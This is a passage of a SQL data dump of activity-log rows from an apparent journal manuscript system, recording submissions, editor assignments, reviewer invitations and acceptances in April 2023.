Accepted to review Manuscript',13623,'Editor',1342),(126565,'2023-04-13 10:39:41','Editor has been Editor Decision Accepted article',13623,'Editor',1342),(126566,'2023-04-13 10:40:39','Publisher has been Accepted Articles  article',13626,'Publisher',984),(126567,'2023-04-13 10:41:16','Publisher has been Accepted Articles  article',13625,'Publisher',984),(126568,'2023-04-13 10:42:07','Publisher has been Accepted Articles  article',13622,'Publisher',984),(126569,'2023-04-14 10:08:31','Publisher has been Accepted Articles  article',13624,'Publisher',984),(126570,'2023-04-14 10:09:33','Publisher has been Accepted Articles  article',13623,'Publisher',984),(126571,'2023-04-14 13:41:48','Manuscript Submitted by Author using Submission form',13647,'Author',13790),(126572,'2023-04-14 14:02:30','Manuscript Submitted by Author using Submission form',13648,'Author',13791),(126573,'2023-04-14 14:09:11','Editor has Accepted to review Manuscript',13604,'Editor',1406),(126574,'2023-04-14 14:09:22','Editor has been Editor Decision Accepted article',13604,'Editor',1406),(126575,'2023-04-14 14:11:08','Publisher has been Accepted Articles  article',13604,'',1212),(126576,'2023-04-14 14:36:59','Manuscript Submitted by Author using Submission form',13649,'Author',13792),(126577,'2023-04-14 15:02:45','Manuscript Submitted by Author using Submission form',13650,'Author',13793),(126578,'2023-04-14 15:09:47','Manuscript Submitted by Publisher',13651,'Publisher',48),(126579,'2023-04-14 15:17:55','Manuscript Submitted by Publisher',13652,'Publisher',48),(126580,'2023-04-14 15:20:12','Manuscript Submitted by Publisher',13653,'Publisher',75),(126581,'2023-04-14 15:51:53','Manuscript Submitted by Author using Submission form',13654,'Author',13796),(126582,'2023-04-14 16:47:34','Manuscript Submitted by Publisher',13655,'Publisher',75),(126583,'2023-04-14 16:49:56','Manuscript Submitted by Publisher',13656,'Publisher',75),(126584,'2023-04-14 16:51:31','Manuscript Submitted by Publisher',13657,'Publisher',75),(126585,'2023-04-14 16:52:55','Manuscript Submitted by Publisher',13658,'Publisher',75),(126586,'2023-04-14 16:55:10','Manuscript Submitted by Publisher',13659,'Publisher',75),(126587,'2023-04-14 16:57:18','Manuscript Submitted by Publisher',13660,'Publisher',75),(126588,'2023-04-14 16:58:35','Manuscript Submitted by Publisher',13661,'Publisher',75),(126589,'2023-04-14 17:05:56','Publisher has been Assigned Editor',13646,'Publisher',673),(126590,'2023-04-14 17:20:24','Publisher has Invited Reviewer',13646,'Publisher',673),(126591,'2023-04-14 17:20:30','Publisher has Invited Reviewer',13646,'Publisher',673),(126592,'2023-04-14 17:20:38','Publisher has Invited Reviewer',13646,'Publisher',673),(126593,'2023-04-14 17:20:43','Publisher has Invited Reviewer',13646,'Publisher',673),(126594,'2023-04-14 17:20:49','Publisher has Invited Reviewer',13646,'Publisher',673),(126595,'2023-04-14 17:20:53','Publisher has Invited Reviewer',13646,'Publisher',673),(126596,'2023-04-14 17:21:00','Publisher has Invited Reviewer',13646,'Publisher',673),(126597,'2023-04-14 17:21:05','Publisher has Invited Reviewer',13646,'Publisher',673),(126598,'2023-04-14 17:21:10','Publisher has Invited Reviewer',13646,'Publisher',673),(126599,'2023-04-14 17:21:16','Publisher has Invited Reviewer',13646,'Publisher',673),(126600,'2023-04-14 17:21:21','Publisher has Invited Reviewer',13646,'Publisher',673),(126601,'2023-04-14 17:21:26','Publisher has Invited Reviewer',13646,'Publisher',673),(126602,'2023-04-14 17:21:32','Publisher has Invited Reviewer',13646,'Publisher',673),(126603,'2023-04-14 17:21:39','Publisher has Invited Reviewer',13646,'Publisher',673),(126604,'2023-04-14 17:21:45','Publisher has Invited Reviewer',13646,'Publisher',673),(126605,'2023-04-14 17:21:50','Publisher has Invited Reviewer',13646,'Publisher',673),(126606,'2023-04-14 17:21:55','Publisher has Invited Reviewer',13646,'Publisher',673),(126607,'2023-04-14 17:22:01','Publisher has Invited Reviewer',13646,'Publisher',673),(126608,'2023-04-14 17:22:06','Publisher has Invited Reviewer',13646,'Publisher',673),(126609,'2023-04-14 17:22:11','Publisher has Invited Reviewer',13646,'Publisher',673),(126610,'2023-04-14 17:22:18','Publisher has Invited Reviewer',13646,'Publisher',673),(126611,'2023-04-14 17:22:23','Publisher has Invited Reviewer',13646,'Publisher',673),(126612,'2023-04-14 17:22:28','Publisher has Invited Reviewer',13646,'Publisher',673),(126613,'2023-04-14 17:22:33','Publisher has Invited Reviewer',13646,'Publisher',673),(126614,'2023-04-14 17:44:47','Manuscript Submitted by Author using Submission form',13662,'Author',13804),(126615,'2023-04-14 17:47:17','Manuscript Submitted by Author using Submission form',13663,'Author',13805),(126616,'2023-04-14 17:49:56','Manuscript Submitted by Author using Submission form',13664,'Author',13806),(126617,'2023-04-14 17:52:31','Manuscript Submitted by Author using Submission form',13665,'Author',13807),(126618,'2023-04-14 18:02:20','Manuscript Submitted by Author using Submission form',13666,'Author',13808),(126619,'2023-04-15 09:15:04','Editor has Accepted to review Manuscript',13646,'Editor',1456),(126620,'2023-04-15 09:15:28','Editor has been Editor Decision Accepted article',13646,'Editor',1456),(126621,'2023-04-15 09:15:48','Editor has Accepted to review Manuscript',13490,'Editor',1456),(126622,'2023-04-15 09:15:53','Editor has Accepted to review Manuscript',13483,'Editor',1456),(126623,'2023-04-15 09:16:01','Editor has Accepted to review Manuscript',13460,'Editor',1456),(126624,'2023-04-15 09:16:25','Editor has been Editor Decision Accepted article',13490,'Editor',1456),(126625,'2023-04-15 09:16:35','Editor has been Editor Decision Accepted article',13483,'Editor',1456),(126626,'2023-04-15 09:56:08','Publisher has been Accepted Articles  article',13595,'',1050),(126627,'2023-04-15 11:12:43','Publisher has been Assigned Editor',13654,'Publisher',994),(126628,'2023-04-15 11:12:56','Publisher has been Assigned Editor',13650,'Publisher',994),(126629,'2023-04-15 11:13:10','Publisher has been Assigned Editor',13649,'Publisher',994),(126630,'2023-04-15 11:13:23','Publisher has been Assigned Editor',13648,'Publisher',994),(126631,'2023-04-15 11:13:36','Publisher has been Assigned Editor',13647,'Publisher',994),(126632,'2023-04-15 11:26:00','Manuscript Submitted by Publisher',13667,'Publisher',673),(126633,'2023-04-16 13:50:09','Manuscript Submitted by Author using Submission form',13668,'Author',13810),(126634,'2023-04-17 11:28:42','Manuscript Submitted by Author using Submission form',13669,'Author',13811),(126635,'2023-04-17 11:32:47','Manuscript Submitted by Author using Submission form',13670,'Author',13812),(126636,'2023-04-17 11:36:15','Manuscript Submitted by Author using Submission form',13671,'Author',13813),(126637,'2023-04-17 11:38:42','Manuscript Submitted by Author using Submission form',13672,'Author',13814),(126638,'2023-04-17 11:39:45','Reviewer has submitted comments',13646,'Reviewer',21650),(126639,'2023-04-17 11:41:29','Manuscript Submitted by Author using Submission form',13673,'Author',13815),(126640,'2023-04-17 11:48:57','Manuscript Submitted by Author using Submission form',13674,'Author',13816),(126641,'2023-04-17 11:53:46','Manuscript Submitted by Author using Submission form',13675,'Author',13817),(126642,'2023-04-17 12:12:27','Manuscript Submitted by Author using Submission form',13676,'Author',13818),(126643,'2023-04-17 12:14:20','Publisher has been Assigned Editor',13668,'Publisher',988),(126644,'2023-04-17 12:14:54','Publisher has Invited Reviewer',13668,'Publisher',988),(126645,'2023-04-17 12:14:59','Publisher has Invited Reviewer',13668,'Publisher',988),(126646,'2023-04-17 12:15:04','Publisher has Invited Reviewer',13668,'Publisher',988),(126647,'2023-04-17 12:15:09','Publisher has Invited Reviewer',13668,'Publisher',988),(126648,'2023-04-17 12:15:13','Publisher has Invited Reviewer',13668,'Publisher',988),(126649,'2023-04-17 12:15:18','Publisher has Invited Reviewer',13668,'Publisher',988),(126650,'2023-04-17 12:15:23','Publisher has Invited Reviewer',13668,'Publisher',988),(126651,'2023-04-17 12:15:28','Publisher has Invited Reviewer',13668,'Publisher',988),(126652,'2023-04-17 12:15:31','Manuscript Submitted by Author using Submission form',13677,'Author',13819),(126653,'2023-04-17 12:15:33','Publisher has Invited Reviewer',13668,'Publisher',988),(126654,'2023-04-17 12:15:38','Publisher has Invited Reviewer',13668,'Publisher',988),(126655,'2023-04-17 12:15:43','Publisher has Invited Reviewer',13668,'Publisher',988),(126656,'2023-04-17 12:15:48','Publisher has Invited Reviewer',13668,'Publisher',988),(126657,'2023-04-17 12:15:52','Publisher has Invited Reviewer',13668,'Publisher',988),(126658,'2023-04-17 12:15:57','Publisher has Invited Reviewer',13668,'Publisher',988),(126659,'2023-04-17 12:16:02','Publisher has Invited Reviewer',13668,'Publisher',988),(126660,'2023-04-17 12:16:07','Publisher has Invited Reviewer',13668,'Publisher',988),(126661,'2023-04-17 12:16:12','Publisher has Invited Reviewer',13668,'Publisher',988),(126662,'2023-04-17 12:16:17','Publisher has Invited Reviewer',13668,'Publisher',988),(126663,'2023-04-17 12:16:22','Publisher has Invited Reviewer',13668,'Publisher',988),(126664,'2023-04-17 12:16:27','Publisher has Invited Reviewer',13668,'Publisher',988),(126665,'2023-04-17 12:16:32','Publisher has Invited Reviewer',13668,'Publisher',988),(126666,'2023-04-17 12:16:36','Publisher has Invited Reviewer',13668,'Publisher',988),(126667,'2023-04-17 12:21:18','Manuscript Submitted by Author using Submission form',13678,'Author',13820),(126668,'2023-04-17 14:20:10','Publisher has been Assigned Editor',13651,'Publisher',48),(126669,'2023-04-17 14:20:26','Publisher has been Assigned Editor',13652,'Publisher',48),(126670,'2023-04-17 15:05:54','Editor has Accepted to review Manuscript',13627,'Editor',633),(126671,'2023-04-17 15:06:19','Editor has been Editor Decision Accepted article',13627,'Editor',633),(126672,'2023-04-17 15:10:08','Manuscript Updated',13627,'Publisher',645),(126673,'2023-04-17 15:10:47','Publisher has been Accepted Articles  article',13627,'Publisher',645),(126674,'2023-04-17 15:11:01','Manuscript Updated',13627,'Publisher',645),(126675,'2023-04-17 15:11:26','Manuscript Updated',13594,'Publisher',645),(126676,'2023-04-17 15:11:52','Publisher has been Accepted Articles  article',13594,'Publisher',645),(126677,'2023-04-17 15:12:04','Manuscript Updated',13594,'Publisher',645),(126678,'2023-04-17 15:12:27','Manuscript Updated',13593,'Publisher',645),(126679,'2023-04-17 15:13:00','Publisher has been Accepted Articles  article',13593,'Publisher',645),(126680,'2023-04-17 15:13:14','Manuscript Updated',13593,'Publisher',645),(126681,'2023-04-17 15:13:42','Manuscript Updated',13592,'Publisher',645),(126682,'2023-04-17 15:14:11','Publisher has been Accepted Articles  article',13592,'Publisher',645),(126683,'2023-04-17 15:14:36','Manuscript Updated',13592,'Publisher',645),(126684,'2023-04-17 15:14:56','Manuscript Updated',13584,'Publisher',645),(126685,'2023-04-17 15:15:15','Publisher has been Accepted Articles  article',13584,'Publisher',645),(126686,'2023-04-17 15:15:30','Manuscript Updated',13584,'Publisher',645),(126687,'2023-04-17 15:22:14','Manuscript Submitted by Author using Submission form',13679,'Author',13821),(126688,'2023-04-17 15:22:49','Manuscript Updated',13584,'Publisher',645),(126689,'2023-04-17 15:23:07','Publisher has been Accepted Articles  article',13584,'Publisher',645),(126690,'2023-04-17 15:23:19','Manuscript Updated',13584,'Publisher',645),(126691,'2023-04-17 15:23:44','Manuscript Updated',13494,'Publisher',645),(126692,'2023-04-17 15:24:03','Publisher has been Accepted Articles  article',13494,'Publisher',645),(126693,'2023-04-17 15:24:14','Manuscript Updated',13494,'Publisher',645),(126694,'2023-04-17 15:25:27','Manuscript Submitted by Author using Submission form',13680,'Author',13822),(126695,'2023-04-17 15:27:40','Manuscript Submitted by Author using Submission form',13681,'Author',13823),(126696,'2023-04-17 15:29:21','Manuscript Submitted by Author using Submission form',13682,'Author',13824),(126697,'2023-04-17 15:59:48','Publisher has been Assigned Editor',13664,'Publisher',376),(126698,'2023-04-17 16:34:29','Publisher has been Assigned Editor',13666,'Publisher',376),(126699,'2023-04-17 16:34:59','Publisher has been Assigned Editor',13665,'Publisher',376),(126700,'2023-04-17 16:35:25','Publisher has been Assigned Editor',13662,'Publisher',376),(126701,'2023-04-17 16:36:57','Editor has Accepted to review Manuscript',13647,'Editor',1790),(126702,'2023-04-17 16:37:02','Editor has Accepted to review Manuscript',13648,'Editor',1790),(126703,'2023-04-17 16:37:06','Editor has Accepted to review Manuscript',13649,'Editor',1790),(126704,'2023-04-17 16:37:10','Editor has Accepted to review Manuscript',13650,'Editor',1790),(126705,'2023-04-17 16:37:13','Editor has Accepted to review Manuscript',13654,'Editor',1790),(126706,'2023-04-17 16:37:29','Editor has been Editor Decision Accepted article',13647,'Editor',1790),(126707,'2023-04-17 16:37:37','Editor has been Editor Decision Accepted article',13648,'Editor',1790),(126708,'2023-04-17 16:37:44','Editor has been Editor Decision Accepted article',13649,'Editor',1790),(126709,'2023-04-17 16:37:50','Editor has been Editor Decision Accepted article',13650,'Editor',1790),(126710,'2023-04-17 16:37:59','Editor has been Editor Decision Accepted article',13654,'Editor',1790),(126711,'2023-04-17 16:40:46','Manuscript Updated',13647,'Publisher',994),(126712,'2023-04-17 16:41:06','Publisher has been Accepted Articles  article',13647,'Publisher',994),(126713,'2023-04-17 16:41:15','Manuscript Updated',13647,'Publisher',994),(126714,'2023-04-17 16:41:26','Manuscript Updated',13648,'Publisher',994),(126715,'2023-04-17 16:41:40','Publisher has been Accepted Articles  article',13648,'Publisher',994),(126716,'2023-04-17 16:41:48','Manuscript Updated',13648,'Publisher',994),(126717,'2023-04-17 16:41:55','Manuscript Updated',13649,'Publisher',994),(126718,'2023-04-17 16:42:08','Publisher has been Accepted Articles  article',13649,'Publisher',994),(126719,'2023-04-17 16:42:15','Manuscript Updated',13649,'Publisher',994),(126720,'2023-04-17 16:42:22','Manuscript Updated',13650,'Publisher',994),(126721,'2023-04-17 16:42:34','Publisher has been Accepted Articles  article',13650,'Publisher',994),(126722,'2023-04-17 16:42:41','Manuscript Updated',13650,'Publisher',994),(126723,'2023-04-17 16:42:47','Manuscript Updated',13654,'Publisher',994),(126724,'2023-04-17 16:42:59','Publisher has been Accepted Articles  article',13654,'Publisher',994),(126725,'2023-04-17 16:43:06','Manuscript Updated',13654,'Publisher',994),(126726,'2023-04-17 17:05:58','Manuscript Submitted by Author using Submission form',13683,'Author',13825),(126727,'2023-04-17 17:07:52','Manuscript Submitted by Author using Submission form',13684,'Author',13826),(126728,'2023-04-17 17:09:36','Manuscript Submitted by Author using Submission form',13685,'Author',13827),(126729,'2023-04-17 17:11:12','Manuscript Submitted by Author using Submission form',13686,'Author',13828),(126730,'2023-04-17 17:15:04','Publisher has been Assigned Editor',13663,'Publisher',376),(126731,'2023-04-17 17:21:52','Manuscript Updated',13646,'Publisher',673),(126732,'2023-04-17 17:22:39','Publisher has been Accepted Articles  article',13646,'Publisher',673),(126733,'2023-04-17 17:22:48','Manuscript Updated',13646,'Publisher',673),(126734,'2023-04-18 09:17:18','Publisher has been Assigned Editor',13667,'Publisher',673),(126735,'2023-04-18 09:18:36','Publisher has Invited Reviewer',13667,'Publisher',673),(126736,'2023-04-18 09:18:41','Publisher has Invited Reviewer',13667,'Publisher',673),(126737,'2023-04-18 09:18:45','Publisher has Invited Reviewer',13667,'Publisher',673),(126738,'2023-04-18 09:18:50','Publisher has Invited Reviewer',13667,'Publisher',673),(126739,'2023-04-18 09:18:55','Publisher has Invited Reviewer',13667,'Publisher',673),(126740,'2023-04-18 10:14:59','Publisher has Invited Reviewer',13666,'Publisher',376),(126741,'2023-04-18 10:15:03','Publisher has Invited Reviewer',13666,'Publisher',376),(126742,'2023-04-18 10:15:08','Publisher has Invited Reviewer',13666,'Publisher',376),(126743,'2023-04-18 10:15:13','Publisher has Invited Reviewer',13666,'Publisher',376),(126744,'2023-04-18 10:15:17','Publisher has Invited Reviewer',13666,'Publisher',376),(126745,'2023-04-18 10:15:22','Publisher has Invited Reviewer',13666,'Publisher',376),(126746,'2023-04-18 10:16:04','Publisher has Invited Reviewer',13665,'Publisher',376),(126747,'2023-04-18 10:16:09','Publisher has Invited Reviewer',13665,'Publisher',376),(126748,'2023-04-18 10:16:13','Publisher has Invited Reviewer',13665,'Publisher',376),(126749,'2023-04-18 10:16:18','Publisher has Invited Reviewer',13665,'Publisher',376),(126750,'2023-04-18 10:16:56','Publisher has Invited Reviewer',13664,'Publisher',376),(126751,'2023-04-18 10:17:25','Publisher has Invited Reviewer',13663,'Publisher',376),(126752,'2023-04-18 10:17:29','Publisher has Invited Reviewer',13663,'Publisher',376),(126753,'2023-04-18 10:17:34','Publisher has Invited Reviewer',13663,'Publisher',376),(126754,'2023-04-18 10:17:39','Publisher has Invited Reviewer',13663,'Publisher',376),(126755,'2023-04-18 10:18:17','Publisher has Invited Reviewer',13662,'Publisher',376),(126756,'2023-04-18 10:18:22','Publisher has Invited Reviewer',13662,'Publisher',376),(126757,'2023-04-18 10:18:27','Publisher has Invited Reviewer',13662,'Publisher',376),(126758,'2023-04-18 10:18:32','Publisher has Invited Reviewer',13662,'Publisher',376),(126759,'2023-04-18 10:18:37','Publisher has Invited Reviewer',13662,'Publisher',376),(126760,'2023-04-18 10:18:41','Publisher has Invited Reviewer',13662,'Publisher',376),(126761,'2023-04-18 10:51:28','Manuscript Submitted by Publisher',13687,'',1491),(126762,'2023-04-18 11:27:52','Publisher has Invited Reviewer',13651,'Publisher',48),(126763,'2023-04-18 11:27:56','Publisher has Invited Reviewer',13651,'Publisher',48),(126764,'2023-04-18 11:28:01','Publisher has Invited Reviewer',13651,'Publisher',48),(126765,'2023-04-18 11:28:06','Publisher has Invited Reviewer',13651,'Publisher',48),(126766,'2023-04-18 11:28:50','Publisher has been Assigned Editor',13653,'Publisher',75),(126767,'2023-04-18 11:29:19','Publisher has been Assigned Editor',13655,'Publisher',75),(126768,'2023-04-18 11:29:35','Publisher has been Assigned Editor',13656,'Publisher',75),(126769,'2023-04-18 11:29:49','Publisher has been Assigned Editor',13657,'Publisher',75),(126770,'2023-04-18 11:30:02','Publisher has been Assigned Editor',13661,'Publisher',75),(126771,'2023-04-18 11:30:34','Publisher has been Assigned Editor',13660,'Publisher',75),(126772,'2023-04-18 11:30:48','Publisher has been Assigned Editor',13659,'Publisher',75),(126773,'2023-04-18 11:31:01','Publisher has been Assigned Editor',13658,'Publisher',75),(126774,'2023-04-18 11:34:54','Publisher has Invited Reviewer',13652,'Publisher',48),(126775,'2023-04-18 11:34:59','Publisher has Invited Reviewer',13652,'Publisher',48),(126776,'2023-04-18 11:35:04','Publisher has Invited Reviewer',13652,'Publisher',48),(126777,'2023-04-18 11:35:09','Publisher has Invited Reviewer',13652,'Publisher',48),(126778,'2023-04-18 11:39:57','Manuscript Submitted by Author using Submission form',13688,'Author',13830),(126779,'2023-04-18 12:00:33','Editor has Accepted to review Manuscript',13645,'Editor',1069),(126780,'2023-04-18 12:00:50','Editor has been Editor Decision Accepted article',13645,'Editor',1069),(126781,'2023-04-18 13:03:27','Manuscript Submitted by Publisher',13689,'Publisher',48),(126782,'2023-04-18 13:30:50','Manuscript Updated',13645,'Publisher',319),(126783,'2023-04-18 13:31:06','Publisher has been Accepted Articles  article',13645,'Publisher',319),(126784,'2023-04-18 13:33:45','Publisher has Invited Reviewer',13653,'Publisher',75),(126785,'2023-04-18 13:35:35','Publisher has been Assigned Editor',13682,'Publisher',319),(126786,'2023-04-18 13:35:44','Publisher has been Assigned Editor',13681,'Publisher',319),(126787,'2023-04-18 13:35:52','Publisher has been Assigned Editor',13680,'Publisher',319),(126788,'2023-04-18 13:36:01','Publisher has been Assigned Editor',13679,'Publisher',319),(126789,'2023-04-18 13:36:02','Publisher has Invited Reviewer',13653,'Publisher',75),(126790,'2023-04-18 13:37:56','Publisher has Invited Reviewer',13653,'Publisher',75),(126791,'2023-04-18 13:38:01','Publisher has Invited Reviewer',13653,'Publisher',75),(126792,'2023-04-18 13:38:06','Publisher has Invited Reviewer',13653,'Publisher',75),(126793,'2023-04-18 13:38:32','Publisher has Invited Reviewer',13653,'Publisher',75),(126794,'2023-04-18 14:22:52','Manuscript Updated',13655,'Publisher',75),(126795,'2023-04-18 14:23:13','Publisher has been Accepted Articles  article',13655,'Publisher',75),(126796,'2023-04-18 14:24:52','Manuscript Updated',13656,'Publisher',75),(126797,'2023-04-18 14:25:14','Publisher has been Accepted Articles  article',13656,'Publisher',75),(126798,'2023-04-18 14:25:37','Manuscript Updated',13657,'Publisher',75),(126799,'2023-04-18 14:25:51','Publisher has been Accepted Articles  article',13657,'Publisher',75),(126800,'2023-04-18 14:26:09','Manuscript Updated',13658,'Publisher',75),(126801,'2023-04-18 14:26:20','Publisher has been Accepted Articles  article',13658,'Publisher',75),(126802,'2023-04-18 14:26:22','Publisher has been Accepted Articles  article',13658,'Publisher',75),(126803,'2023-04-18 14:31:46','Editor has Accepted to review Manuscript',13665,'Editor',1705),(126804,'2023-04-18 14:31:50','Editor has Accepted to review Manuscript',13663,'Editor',1705),(126805,'2023-04-18 14:31:57','Editor has Accepted to review Manuscript',13662,'Editor',1705),(126806,'2023-04-18 14:32:11','Editor has been Editor Decision Accepted article',13665,'Editor',1705),(126807,'2023-04-18 14:32:30','Editor has been Editor Decision Accepted article',13663,'Editor',1705),(126808,'2023-04-18 14:32:39','Editor has been Editor Decision Accepted article',13662,'Editor',1705),(126809,'2023-04-18 14:33:17','Editor has Accepted to review Manuscript',13596,'Editor',1011),(126810,'2023-04-18 14:33:21','Editor has Accepted to review Manuscript',13664,'Editor',1011),(126811,'2023-04-18 14:33:25','Editor has Accepted to review Manuscript',13666,'Editor',1011),(126812,'2023-04-18 14:33:35','Editor has been Editor Decision Accepted article',13666,'Editor',1011),(126813,'2023-04-18 14:33:50','Editor has been Editor Decision Accepted article',13664,'Editor',1011),(126814,'2023-04-18 14:41:07','Manuscript Updated',13666,'Publisher',376),(126815,'2023-04-18 14:41:14','Manuscript Updated',13665,'Publisher',376),(126816,'2023-04-18 14:41:22','Manuscript Updated',13664,'Publisher',376),(126817,'2023-04-18 14:41:32','Manuscript Updated',13663,'Publisher',376),(126818,'2023-04-18 14:41:44','Manuscript Updated',13662,'Publisher',376),(126819,'2023-04-18 14:42:13','Publisher has been Accepted Articles  article',13666,'Publisher',376),(126820,'2023-04-18 14:42:30','Publisher has been Accepted Articles  article',13665,'Publisher',376),(126821,'2023-04-18 14:42:55','Publisher has been Accepted Articles  article',13664,'Publisher',376),(126822,'2023-04-18 14:43:12','Publisher has been Accepted Articles  article',13663,'Publisher',376),(126823,'2023-04-18 14:43:27','Publisher has been Accepted Articles  article',13662,'Publisher',376),(126824,'2023-04-18 14:44:28','Publisher has been Assigned Editor',13678,'Publisher',1033),(126825,'2023-04-18 14:44:50','Publisher has been Assigned Editor',13677,'Publisher',1033),(126826,'2023-04-18 14:45:06','Publisher has been Assigned Editor',13676,'Publisher',1033),(126827,'2023-04-18 14:45:25','Publisher has been Assigned Editor',13675,'Publisher',1033),(126828,'2023-04-18 14:45:42','Publisher has been Assigned Editor',13674,'Publisher',1033),(126829,'2023-04-18 14:45:56','Publisher has been Assigned Editor',13673,'Publisher',1033),(126830,'2023-04-18 14:46:09','Publisher has been Assigned Editor',13672,'Publisher',1033),(126831,'2023-04-18 14:46:23','Publisher has been Assigned Editor',13671,'Publisher',1033),(126832,'2023-04-18 14:46:37','Publisher has been Assigned Editor',13670,'Publisher',1033),(126833,'2023-04-18 14:46:52','Publisher has been Assigned Editor',13669,'Publisher',1033),(126834,'2023-04-18 14:53:09','Manuscript Submitted by Author using Submission form',13690,'Author',13831),(126835,'2023-04-18 15:04:37','Manuscript Updated',13659,'Publisher',75),(126836,'2023-04-18 15:04:52','Publisher has been Accepted Articles  article',13659,'Publisher',75),(126837,'2023-04-18 15:07:00','Manuscript Updated',13660,'Publisher',75),(126838,'2023-04-18 15:07:10','Publisher has been Accepted Articles  article',13660,'Publisher',75),(126839,'2023-04-18 15:07:33','Manuscript Updated',13661,'Publisher',75),(126840,'2023-04-18 15:07:33','Manuscript Submitted by Author using Submission form',13691,'Author',13832),(126841,'2023-04-18 15:07:44','Publisher has been Accepted Articles  article',13661,'Publisher',75),(126842,'2023-04-18 15:36:26','Reviewer has submitted comments',13587,'Reviewer',9206),(126843,'2023-04-18 15:36:36','Manuscript Submitted by Author using Submission form',13692,'Author',13833),(126844,'2023-04-18 15:37:10','Editor has Accepted to review Manuscript',13587,'Editor',194),(126845,'2023-04-18 15:37:25','Editor has been Editor Decision Accepted article',13587,'Editor',194),(126846,'2023-04-18 15:38:18','Publisher has been Accepted Articles  article',13587,'Publisher',48),(126847,'2023-04-18 15:47:29','Manuscript Submitted by Author using Submission form',13693,'Author',13834),(126848,'2023-04-18 15:54:34','Manuscript Submitted by Author using Submission form',13694,'Author',13835),(126849,'2023-04-18 16:03:23','Manuscript Submitted by Author using Submission form',13695,'Author',13836),(126850,'2023-04-19 00:20:19','Reviewer has submitted comments',13653,'Reviewer',21529),(126851,'2023-04-19 11:22:56','Publisher has been Assigned Editor',13689,'Publisher',48),(126852,'2023-04-19 12:54:07','Publisher has been Assigned Editor',13695,'Publisher',248),(126853,'2023-04-19 12:54:21','Publisher has been Assigned Editor',13694,'Publisher',248),(126854,'2023-04-19 12:54:37','Publisher has been Assigned Editor',13693,'Publisher',248),(126855,'2023-04-19 12:57:46','Publisher has been Assigned Editor',13692,'Publisher',248),(126856,'2023-04-19 13:00:19','Publisher has been Assigned Editor',13691,'Publisher',248),(126857,'2023-04-19 13:00:40','Publisher has been Assigned Editor',13690,'Publisher',248),(126858,'2023-04-19 13:06:58','Publisher has been Assigned Editor',13686,'Publisher',972),(126859,'2023-04-19 13:07:13','Publisher has been Assigned Editor',13685,'Publisher',972),(126860,'2023-04-19 13:07:41','Publisher has been Assigned Editor',13684,'Publisher',972),(126861,'2023-04-19 13:08:15','Publisher has been Assigned Editor',13683,'Publisher',972),(126862,'2023-04-19 13:13:31','Publisher has Invited Reviewer',13686,'Publisher',972),(126863,'2023-04-19 13:13:51','Publisher has Invited Reviewer',13686,'Publisher',972),(126864,'2023-04-19 13:14:04','Publisher has Invited Reviewer',13686,'Publisher',972),(126865,'2023-04-19 13:14:09','Publisher has Invited Reviewer',13686,'Publisher',972),(126866,'2023-04-19 13:14:13','Publisher has Invited Reviewer',13686,'Publisher',972),(126867,'2023-04-19 13:14:48','Publisher has Invited Reviewer',13685,'Publisher',972),(126868,'2023-04-19 13:14:53','Publisher has Invited Reviewer',13685,'Publisher',972),(126869,'2023-04-19 13:14:57','Publisher has Invited Reviewer',13685,'Publisher',972),(126870,'2023-04-19 13:15:09','Publisher has Invited Reviewer',13685,'Publisher',972),(126871,'2023-04-19 13:15:14','Publisher has Invited Reviewer',13685,'Publisher',972),(126872,'2023-04-19 13:15:18','Publisher has Invited Reviewer',13685,'Publisher',972),(126873,'2023-04-19 13:15:23','Publisher has Invited Reviewer',13685,'Publisher',972),(126874,'2023-04-19 13:15:27','Publisher has Invited Reviewer',13685,'Publisher',972),(126875,'2023-04-19 13:15:31','Publisher has Invited Reviewer',13685,'Publisher',972),(126876,'2023-04-19 13:18:08','Publisher has Invited Reviewer',13684,'Publisher',972),(126877,'2023-04-19 13:18:13','Publisher has Invited Reviewer',13684,'Publisher',972),(126878,'2023-04-19 13:18:17','Publisher has Invited Reviewer',13684,'Publisher',972),(126879,'2023-04-19 13:18:21','Publisher has Invited Reviewer',13684,'Publisher',972),(126880,'2023-04-19 13:18:26','Publisher has Invited Reviewer',13684,'Publisher',972),(126881,'2023-04-19 13:18:30','Publisher has Invited Reviewer',13684,'Publisher',972),(126882,'2023-04-19 13:19:15','Publisher has Invited Reviewer',13683,'Publisher',972),(126883,'2023-04-19 13:19:20','Publisher has Invited Reviewer',13683,'Publisher',972),(126884,'2023-04-19 13:19:24','Publisher has Invited Reviewer',13683,'Publisher',972),(126885,'2023-04-19 13:19:29','Publisher has Invited Reviewer',13683,'Publisher',972),(126886,'2023-04-19 13:19:33','Publisher has Invited Reviewer',13683,'Publisher',972),(126887,'2023-04-19 13:19:37','Publisher has Invited Reviewer',13683,'Publisher',972),(126888,'2023-04-19 13:45:54','Manuscript Submitted by Author using Submission form',13696,'Author',13837),(126889,'2023-04-19 13:48:37','Manuscript Submitted by Author using Submission form',13697,'Author',13838),(126890,'2023-04-19 13:52:05','Manuscript Submitted by Author using Submission form',13698,'Author',13839),(126891,'2023-04-19 13:55:19','Manuscript Submitted by Author using Submission form',13699,'Author',13840),(126892,'2023-04-20 01:46:37','Reviewer has updated comments',13431,'Reviewer',21547),(126893,'2023-04-20 01:47:29','Reviewer has submitted comments',13664,'Reviewer',21547),(126894,'2023-04-20 10:49:00','Publisher has been Assigned Editor',13688,'Publisher',645),(126895,'2023-04-20 11:38:07','Publisher has been Assigned Editor',13699,'Publisher',988),(126896,'2023-04-20 11:38:22','Publisher has been Assigned Editor',13698,'Publisher',988),(126897,'2023-04-20 11:38:34','Publisher has been Assigned Editor',13697,'Publisher',988),(126898,'2023-04-20 11:45:51','Reviewer has submitted comments',13612,'Reviewer',11689),(126899,'2023-04-20 11:46:27','Editor has Accepted to review Manuscript',13612,'Editor',194),(126900,'2023-04-20 11:46:36','Editor has been Editor Decision Accepted article',13612,'Editor',194),(126901,'2023-04-20 11:47:26','Publisher: Accept Notification has been sent to Author',13612,'Publisher',48),(126902,'2023-04-20 11:48:28','Publisher has been Accepted Articles  article',13612,'Publisher',48),(126903,'2023-04-20 12:01:34','Manuscript Submitted by Author using Submission form',13700,'Author',13843),(126904,'2023-04-20 13:41:37','Publisher has been Assigned Editor',13696,'Publisher',988),(126905,'2023-04-20 14:26:48','Publisher has Invited Reviewer',13689,'Publisher',48),(126906,'2023-04-20 14:26:53','Publisher has Invited Reviewer',13689,'Publisher',48),(126907,'2023-04-20 14:26:57','Publisher has Invited Reviewer',13689,'Publisher',48),(126908,'2023-04-20 14:27:01','Publisher has Invited Reviewer',13689,'Publisher',48),(126909,'2023-04-20 17:46:10','Manuscript Submitted by Publisher',13701,'Publisher',1009),(126910,'2023-04-20 18:13:34','Manuscript Submitted by 